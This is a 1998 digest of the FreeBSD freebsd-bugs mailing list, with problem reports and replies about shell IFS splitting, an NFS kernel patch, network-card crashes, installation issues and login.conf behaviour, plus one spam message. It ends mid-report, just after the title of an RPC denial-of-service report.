-0700 (PDT) Message-Id: <199805130817.BAA03141@freefall.freebsd.org> To: murduth@ludd.luth.se, phk@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6479 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: VM system not working right. State-Changed-From-To: open-closed State-Changed-By: phk State-Changed-When: Wed May 13 01:16:14 PDT 1998 State-Changed-Why: Insufficient information for more than a guess: Are you sure you have enough swap space configured ? Are your ulimits set high enough ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 02:03:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA16077 for freebsd-bugs-outgoing; Wed, 13 May 1998 02:03:39 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA16067 for ; Wed, 13 May 1998 02:03:37 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id CAA03452; Wed, 13 May 1998 02:00:02 -0700 (PDT) Date: Wed, 13 May 1998 02:00:02 -0700 (PDT) Message-Id: <199805130900.CAA03452@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Martin Cracauer Subject: Re: bin/6557: /bin/sh && IFS Reply-To: Martin Cracauer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: Martin Cracauer To: "Greg A. Woods" Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/6557: /bin/sh && IFS Date: Wed, 13 May 1998 10:57:42 +0200 In <199805122007.QAA03553@brain.zeus.leitch.com>, Greg A. Woods wrote: > [ On Tue, May 12, 1998 at 08:20:01 (-0700), Martin Cracauer wrote: ] > > Subject: Re: bin/6557: /bin/sh && IFS > > > > However, it is my current opinion that my fix and bash are > > wrong. Hence I didn't commit it although you are invited to see if it > > fits your needs, it's in the url given above. > > It would seem Bash agrees with the real Korn Shell and the real Bourne > Shell. I agree with them too. Hm, Solaris' ksh and sh don't agree completely (Solaris 2.6/SPARC): #! /bin/sh IFS=" :" var="bla:fasel:blubb:" for i in foo:bla:fasel:blubb: ; do echo val: "'"$i"'" done echo for i in foo:$var ; do echo val: "'"$i"'" done ~(u2)6% ksh l2 val: 'foo bla fasel blubb ' val: 'foo' val: 'bla' val: 'fasel' val: 'blubb' ~(u2)7% sh l2 val 'foo' val 'bla' val 'fasel' val 'blubb' val 'foo' val 'bla' val 'fasel' val 'blubb' But at least they agree that the `for` parameters are subject to IFS splitting. > > I still don't have a POSIX reference, but I've been told that POSIX > > specifies that word splitting is to be done during evaluation, not > > during parsing. I think it's obvious that IFS split is part of word > > splitting. > > This is the relavent section from POSIX 1003.2 Draft 11.2: Thanks! [...] > 3.6.5 Field Splitting > > After parameter expansion (3.6.2), command substitution (3.6.3), and > arithmetic expansion (3.6.4) the shell shall scan the results of > expansions and substitutions that did not occur in double-quotes for > field splitting and multiple fields can result. Hm, so what are the arguments to `for` (or to any command)? As far as I can tell, they are - not parameter expansion - not command substitution - not arithmetic expansion The paragraph above says that only results of these expansions and substitutions are subject to field splitting. What kind of substitution or expandsion are command arguments a result of? > The shell shall treat each character of the IFS as a delimiter and use > the delimiters to split the results of parameter expansion and command > substitution into fields. > > (1) If the value of IFS is , , and , or if it > is unset, any sequence of , , or > characters at the beginning or end of the input shall be ignored > and any sequence of those characters within the input shall > delimit a field. (For example, the input > > foobar > > yields two fields, foo and bar). > > (2) If the value of IFS is null, no field splitting shall be > performed. > > (3) Otherwise, the following rules shall be applied in sequence. 1 > The term ``IFS white space'' is used to mean any sequence (zero 1 > or more instances) of white-space characters that are in the IFS 1 > value (e.g., if IFS contains , any sequence 1 > of and characters is considered IFS white space). 1 > > (a) IFS white space shall be ignored at the beginning and end 1 > of the input. 1 > > (b) Each occurrence in the input of an IFS character that is 1 > not IFS white space, along with any adjacent IFS white 1 > space, shall delimit a field, as described previously. 1 > > (c) Nonzero-length IFS white space shall delimit a field. 1 The test shell script I gave above contains an interesting matter pointed out to me in private email: What happens if a non-white IFS value is at the end of something that is subject to field splitting? pdksh generates an extra field with an empty value, which is IHMO required by these section. [...] Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer cracauer@wavehh.hanse.de (batched, preferred for large mails) Tel.: (private) +4940 5221829 Fax.: (private) +4940 5228536 Paper: (private) Waldstrasse 200, 22846 Norderstedt, Germany To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 02:33:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA21001 for freebsd-bugs-outgoing; Wed, 13 May 1998 02:33:37 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA20988 for ; Wed, 13 May 1998 02:33:35 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id CAA03535; Wed, 13 May 1998 02:30:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA20007; Wed, 13 May 1998 02:26:07 -0700 (PDT) (envelope-from nobody) Message-Id: <199805130926.CAA20007@hub.freebsd.org> Date: Wed, 13 May 1998 02:26:07 -0700 (PDT) From: sam@twics.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: misc/6616: ddp_route: still have no valid route Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6616 >Category: misc >Synopsis: ddp_route: still have no valid route >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: support >Submitter-Id: current-users >Arrival-Date: Wed May 13 02:30:00 PDT 1998 >Last-Modified: >Originator: Masamichi Hayashi >Organization: Active Life, Inc. >Release: 2.2.5 >Environment: FreeBSD buta.activelife.co.jp 2.2.5-RELEASE FreeBSD 2.2.5-RELEASE #0: Mon Apr 27 14:26:52 GMT 1998 sam@buta.activelife.co.jp:/usr/src/sys/compile/BUTA i386 >Description: Periodically endless lines of the above warning appears on the screen: - "ddp_route: still have no valid route" Perhaps I'd better consult other channels but going thru the documentation I couldn't find category including this ddp_route thing. Referring me to appropriate information/documentation would suffice. Thanks. >How-To-Repeat: The machine repeats it itself >Fix: Simply neglect it (though quite embarrassing). >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 03:10:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA26765 for freebsd-bugs-outgoing; Wed, 13 May 1998 03:10:25 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from alvman.RoBIN.de (alvman.RoBIN.de [193.174.7.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA26751; Wed, 13 May 1998 03:10:09 -0700 (PDT) (envelope-from ah@alvman.RoBIN.de) Received: from localhost (ah@localhost) by alvman.RoBIN.de (8.8.7/8.6.9) with ESMTP id MAA09804; Wed, 13 May 1998 12:10:14 +0200 (CEST) Date: Wed, 13 May 1998 12:10:14 +0200 (CEST) From: Andreas Haakh To: Poul-Henning Kamp cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6575 In-Reply-To: <199805130815.BAA03072@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 13 May 1998, Poul-Henning Kamp wrote: > Synopsis: eisa0:1 (adaptec 2842) .... attach failed > > State-Changed-From-To: open-feedback > State-Changed-By: phk > State-Changed-When: Wed May 13 01:14:09 PDT 1998 > State-Changed-Why: > Uhm, it looks pretty well attached to me, and if it can't mount > root, it would be nice to know what it complains about I guess I have to be more specific! The extract from syslog that i have included was just intended as an information regarding the hardware of my computer which used be and is again a FreeBSD-2.2.5 system. Now what actual happens is the following: The adaptec 2842-controller is probed and recognised. ahc0: .... Then follows the line indicating the attach-error eisa0:1 attach failed. The scsi-bus is discarded!!!!! Therefore no device is found at all!!! Hope this helps Andreas -- Andreas Haakh * Mollerstraße 7 * 64289 Darmstadt * ah@alvman.RoBIN.de http://www.RoBIN.de für privaten Internet-Zugang in Darmstadt/Rödermark http://www.FreeBSD.org freies Berkley-Unix für Intel-Architektur(>=80386). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 03:43:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA01548 for freebsd-bugs-outgoing; Wed, 13 May 1998 03:43:39 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA01536 for ; Wed, 13 May 1998 03:43:37 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id DAA04102; Wed, 13 May 1998 03:40:01 -0700 (PDT) Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [194.93.177.113]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA00916 for ; Wed, 13 May 1998 03:38:36 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.8.8/8.8.8) id NAA21154; Wed, 13 May 1998 13:38:09 +0300 (EEST) (envelope-from ru) Message-Id: <199805131038.NAA21154@relay.ucb.crimea.ua> Date: Wed, 13 May 1998 13:38:09 +0300 (EEST) From: Ruslan Ermilov Reply-To: ru@ucb.crimea.ua To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6618: Request to re-enable PR#6466 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6618 >Category: kern >Synopsis: Request to re-enable PR#6466 >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed May 13 03:40:00 PDT 1998 >Last-Modified: >Originator: Ruslan Ermilov >Organization: United Commercial Bank >Release: FreeBSD 2.2.6-STABLE i386 >Environment: The PR#6466 was made against RELENG_2_2. The patch was committed to -current only. >Description: Either apply the patch given in the PR#6466 to -stable, or re-enable the PR. >How-To-Repeat: See Audit-Trail and commitlogs for PR#6466. >Fix: The trivial patch was given in the original PR#6466. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 04:24:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA09764 for freebsd-bugs-outgoing; Wed, 13 May 1998 04:24:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA09579; Wed, 13 May 1998 04:23:49 -0700 (PDT) (envelope-from danny@FreeBSD.org) From: "Daniel O'Callaghan" Received: (from danny@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id EAA02962; Wed, 13 May 1998 04:20:13 -0700 (PDT) Date: Wed, 13 May 1998 04:20:13 -0700 (PDT) Message-Id: <199805131120.EAA02962@freefall.freebsd.org> To: ru@ucb.crimea.ua, danny@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6618 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Request to re-enable PR#6466 State-Changed-From-To: open-closed State-Changed-By: danny State-Changed-When: Wed May 13 04:19:31 PDT 1998 State-Changed-Why: PR6466 patch merged into RELENG_2_2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 04:52:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA15358 for freebsd-bugs-outgoing; Wed, 13 May 1998 04:52:58 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from vanuata (vanuata.dcs.gla.ac.uk [130.209.240.50]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA15289 for ; Wed, 13 May 1998 04:52:41 -0700 (PDT) (envelope-from simonm@dcs.gla.ac.uk) Received: from solander.dcs.gla.ac.uk (actually host solander) by vanuata with SMTP DCS (MMTA) with ESMTP; Wed, 13 May 1998 12:01:55 +0100 Received: (from simonm@localhost) by solander.dcs.gla.ac.uk (8.8.7/8.8.7) id MAA10048; Wed, 13 May 1998 12:01:53 +0100 (BST) To: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6611: nfs_inactive can write through a dangling pointer and corrupt memory. References: <199805130019.SAA16560@marker.cs.utah.edu> From: Simon Marlow Date: 13 May 1998 12:01:51 +0100 In-Reply-To: stephen clawson's message of Tue, 12 May 1998 18:19:25 -0600 (MDT) Message-ID: Lines: 113 X-Mailer: Gnus v5.5/Emacs 20.2 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org stephen clawson writes: > The pattern of damage is such that the upper short of the 6th > direct block pointer gets anded with 0x00e7 (~0xff18). And this could be part of a symbolic link, if the link is stored in the inode, couldn't it? If so, I've seen this: it shows up quite easily by doing a large lndir. I quite often get corrupted links, with the corruption matching what Steven says above. Thanks Steven! > > > >How-To-Repeat: > > My standard workload included: > > cvs checkout cycle (from an nfs mounted cvs root tree) > large build (gdb-4.17) > create/remove lots (100-1000) of 64k+ files (so they've > actually got a 6th block pointer). > > These are done both on a local filesystem and an nfs mounted > filesystem, so there are a total of 6 things going on. All of them > just keep cycling (cvs checkout/rm, make/make clean, etc.). Usually > it takes about 20-30 minutes for the problem to show up. > > What makes detecting it difficult is that there's nothing that > directly breaks when the corruption occurs. You only notice it if you > happen to remove a corrupt file and get a ``freeing free block'' > panic, or you reboot and happen to fsck the filesystem with the > problem (in which case fsc will tell you about the DUP allocation, > assuming that the corrupt direct block is pointing into an allocated > block and not free space). > > To notice when the corruption was occuring, I added code to the > kernel to shadow the di_db[5] into di_spare[0] and periodically > checked to see if di_db[5] had changed. > > > >Fix: > > The simple fix is to grab an extra reference to the vnode if > there's a possiblilty that we might block. It's pretty heavy-handed, > since it vget dosen't just remove the vnode from the free list, it > also allocates a vm_object for it that will just get destroyed > when we do a vrele on it later. =( > > Alternately, the nfs code could actually do locking on it's > nfsnode's, but since that code still isn't done in -current... =) > Or, you could muck with the vnode freelist directly. Anything that > prevents the nfsnode from being free'd before nfs_inactive is done > with it. > > NetBSD incorporated the same fix (apparently given to them > from BSDI) a while ago. They only grab a reference for the call > to nfs_vinvalbuf though, in the case of -stable, nfs_removeit can > also block, so I just grab the reference for the entire sillyrename > code section. See NetBSD-current (1.3.1 should have it) > sys/nfs/nfs_node.c:nfs_inactive. > > > diff -c -r1.13.2.1 nfs_node.c > *** nfs_node.c 1997/05/14 08:19:27 1.13.2.1 > --- nfs_node.c 1998/05/11 17:59:21 > *************** > *** 202,207 **** > --- 202,215 ---- > } else > sp = (struct sillyrename *)0; > if (sp) { > + /* > + * We need a reference to keep the vnode from being > + * recycled by getnewvnode while we do the I/O > + * associated with discarding the buffers. > + */ > + if (vget(ap->a_vp, 0)) > + panic("nfs_inactive: lost vnode"); > + > /* > * Remove the silly file that was rename'd earlier > */ > *************** > *** 210,215 **** > --- 218,228 ---- > crfree(sp->s_cred); > vrele(sp->s_dvp); > FREE((caddr_t)sp, M_NFSREQ); > + > + /* XXX Play it safe and release our reference > + * after we're done. > + */ > + vrele(ap->a_vp); > } > np->n_flag &= (NMODIFIED | NFLUSHINPROG | NFLUSHWANT | NQNFSEVICTED | > NQNFSNONCACHE | NQNFSWRITE); > > > >Audit-Trail: > >Unformatted: > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-bugs" in the body of the message > -- -- Simon Marlow simonm@dcs.gla.ac.uk University of Glasgow http://www.dcs.gla.ac.uk/~simonm/ finger for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 09:23:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA23632 for freebsd-bugs-outgoing; Wed, 13 May 1998 09:23:43 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA23621 for ; Wed, 13 May 1998 09:23:39 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA01907; Wed, 13 May 1998 09:20:01 -0700 (PDT) Received: from home.dragondata.com (toasty@home.dragondata.com [204.137.237.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA22894 for ; Wed, 13 May 1998 09:19:39 -0700 (PDT) (envelope-from toasty@home.dragondata.com) Received: (from toasty@localhost) by home.dragondata.com (8.8.8/8.8.5) id LAA03995; Wed, 13 May 1998 11:19:38 -0500 (CDT) Message-Id: <199805131619.LAA03995@home.dragondata.com> Date: Wed, 13 May 1998 11:19:38 -0500 (CDT) From: toasty@home.dragondata.com Reply-To: toasty@home.dragondata.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6623: non-root user can crash system if disconnected de card present Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6623 >Category: kern >Synopsis: non-root user can crash system if disconnected de card present >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed May 13 09:20:01 PDT 1998 >Last-Modified: >Originator: Kevin Day >Organization: DragonData Internet Services >Release: FreeBSD 2.2.5-STABLE i386 >Environment: 2.2.6 server with two de cards in it. de1 was 'down'... (hub went down, and the card complained of a 'cable problem?') >Description: After a de device has decided it can't talk, you can make a server instantly reboot (no panic) ping -s 2048 (hostname of a server across the dead de card)... For a while you'll get 'ping: sendto: host is down'. Then if you keep going, 'ping: sendto: no buffer space available'... (at this point, my de0 card stopped responding as well). After a few more minutes, the machine just rebooted. >How-To-Repeat: Unplug the cable to a de card, and send lots of traffic to it. (ifconfig must still show the interface as 'up'). Also... Why after a card decides theres a cable problem will it not detect the cable being put back in until you do a 'ifconfig de0 down'. (as soon a syou type that, it suddenly sees the cable again) These are netgear 10/100 cards... de0: rev 0x22 int a irq 19 on pci0.17.0 de0: 21140A [10-100Mb/s] pass 2.2 >Fix: >Audit-Trail: >Unformatted: Kevin Day To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 09:38:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA26958 for freebsd-bugs-outgoing; Wed, 13 May 1998 09:38:46 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mailhost.xciv.org (exim@vantage.xciv.org [193.128.6.138]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA26949 for ; Wed, 13 May 1998 09:38:44 -0700 (PDT) (envelope-from paul@xciv.org) Received: from vantage.xciv.org [193.128.6.138] (paul) by mailhost.xciv.org with esmtp (Exim 1.70 #1) id 0yZeYG-0005cQ-00; Wed, 13 May 1998 17:38:44 +0100 To: freebsd-bugs@FreeBSD.ORG Subject: Installing 2.2.6 w/ xfree86 from mirror sites Organization: XCIV, London UK Reply-To: paul@xciv.org Date: Wed, 13 May 1998 17:38:43 +0100 From: Paul Civati Message-Id: Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [ I couldn't find a better address to send this to, perhaps the web site should have a list of 'what to send to what address' page, I hope someone can make sure it gets to the right person ] Today, trying to install xfree86 as part of the 2.2.6 release I found that sysinstall was just 'ignoring' the fact that I wanted to install X (ie. it went along and installed all the other sets, but not any of the X stuff), this was using ftp and ftp2.uk.freebsd.org. After some head scratching I tried the master site, ftp.freebsd.org, and hey presto it all installed fine. Having had a quick look now, I think I can see what is breaking it, this link works fine on the master site, but won't on the mirrors: XF86332 -> ../../../pub/XFree86/3.3.2/binaries/FreeBSD-2.2.x Also, sysinstall would be more helpful if it informed you that it can't find the set, rather than making it look like it wasn't even trying to find it. -Paul- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 11:46:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA19798 for freebsd-bugs-outgoing; Wed, 13 May 1998 11:46:40 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from 12.64.2.62 (62.san-francisco-03.ca.dial-access.att.net [12.64.2.62]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id LAA19592; Wed, 13 May 1998 11:46:07 -0700 (PDT) (envelope-from trinity@my-office.com) Date: Wed, 13 May 1998 11:46:07 -0700 (PDT) Message-Id: <199805131846.LAA19592@hub.freebsd.org> From: trinity@my-office.com To: INTERNET, ASSOCIATE@FreeBSD.ORG Subject: FREE WEBSITE & BAHAMAS CRUISE! X-Reply-To: trinity@my-office.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org NO NEED TO SEND ROMOVE THIS EMAIL WILL BE SENT OUT ONLY ONCE! FREE WEBSITE AND BAHAMAS CRUISE FOR 2 JUST REPLY YES I WANT A WEBSITE! REPLY TO trintiy@my-office.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 13:03:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04383 for freebsd-bugs-outgoing; Wed, 13 May 1998 13:03:42 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA04376 for ; Wed, 13 May 1998 13:03:40 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA02971; Wed, 13 May 1998 13:00:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA02995; Wed, 13 May 1998 12:57:19 -0700 (PDT) (envelope-from nobody) Message-Id: <199805131957.MAA02995@hub.freebsd.org> Date: Wed, 13 May 1998 12:57:19 -0700 (PDT) From: claudio@nty.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: conf/6624: One class with nologin=/etc/nologin: rejects even those who don't belong to that class Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6624 >Category: conf >Synopsis: One class with nologin=/etc/nologin: rejects even those who don't belong to that class >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed May 13 13:00:01 PDT 1998 >Last-Modified: >Originator: Claudio Eichenberger >Organization: NTY Consulting >Release: FreeBSD 2.2.2 and 2.2.6 >Environment: FreeBSD gamma 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #0: Sat Mar 14 11:35:00 GMT 1998 root@gamma:/usr/src/sys/compile/GAMMA i386 FreeBSD nty.ch 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #0: Sat May 9 10:56:41 CEST 1998 root@nty.ch:/usr/src/sys/compile/NTY i386 >Description: Situation: I created a class 'nolog' in /etc/login.conf created the file '/etc/nologin' and added 'nolog' to the user 'cei', see beneath. 1st Problem: Despite the user 'ecole' hasn't an entry of 'nolog' I cannot login as user 'ecole' as soon as I tried a login which user 'cei'. Actually any user gets rejected as soon as I've tried to login with 'cei'. 2nd Problem: The file /etc/nologin gets deleted by every boot. >How-To-Repeat: make the following entries: # cat /etc/login.conf nolog:\ :nologin=/etc/nologin:\ :tc=default: # vipw cei:pwd:1018:1018:nolog:0:0:Claudio Eichenberger:/home/cei:/bin/csh ecole:pwd:1021:1021::0:0:Ecole:/home/ecole:/bin/csh # echo 'unfortunatelly you stay out' > /etc/nologin then: # telnet -l ecole host # this works fine # telnet -l cei host # works fine cei gets rejected # telnet -l ecole host # DOESN'T work ecole GETS REJECTED >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 15:43:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA05638 for freebsd-bugs-outgoing; Wed, 13 May 1998 15:43:47 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA05619 for ; Wed, 13 May 1998 15:43:41 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id PAA03703; Wed, 13 May 1998 15:40:02 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA04770; Wed, 13 May 1998 15:38:47 -0700 (PDT) (envelope-from nobody) Message-Id: <199805132238.PAA04770@hub.freebsd.org> Date: Wed, 13 May 1998 15:38:47 -0700 (PDT) From: mrspock@esfm.ipn.mx To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: i386/6626: During installation sony cd driver cannot read cdrom Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6626 >Category: i386 >Synopsis: During installation sony cd driver cannot read cdrom >Confidential: no >Severity: critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed May 13 15:40:00 PDT 1998 >Last-Modified: >Originator: Eduardo Viruena Silva >Organization: ESFM-IPN >Release: FreeBSD 2.2.6 >Environment: FreeBSD Michelle.esfm.ipn.mx 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #1: Sun May 10 20:08:36 CDT 1998 mrspock@Michelle.esfm.ipn.mx:/usr/src/sys/compile/EViruena i386 (BUT: it also happens with mr. Hubbard's kernel) >Description: It seems to me, that FreeBSD tries to make: mount -t cd9660 /dev/scd0c /mnt while system installation process is performed. It reports that the CD drivers perhaps has an audio CD even though it has already loaded the kernel. >How-To-Repeat: Get a SONY CD-ROM CDU33A Rev 1.0f. Try to do a system installation. >Fix: I think, but I'm not sure, that the mounting device that has to be used must be: /dev/scd0a and not /dev/scd0c. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed May 13 16:33:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA14874 for freebsd-bugs-outgoing; Wed, 13 May 1998 16:33:45 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA14861 for ; Wed, 13 May 1998 16:33:41 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id QAA04075; Wed, 13 May 1998 16:30:02 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA14271; Wed, 13 May 1998 16:30:20 -0700 (PDT) (envelope-from nobody) Message-Id: <199805132330.QAA14271@hub.freebsd.org> Date: Wed, 13 May 1998 16:30:20 -0700 (PDT) From: trost@cloud.rain.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/6627: TCP-based RPC denial-of-service attack Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6627 >Category: bin >Synopsis: TCP-based RPC denial-of-service attack >Confidential: no >Severity: critical >Priority: medium >Responsible: 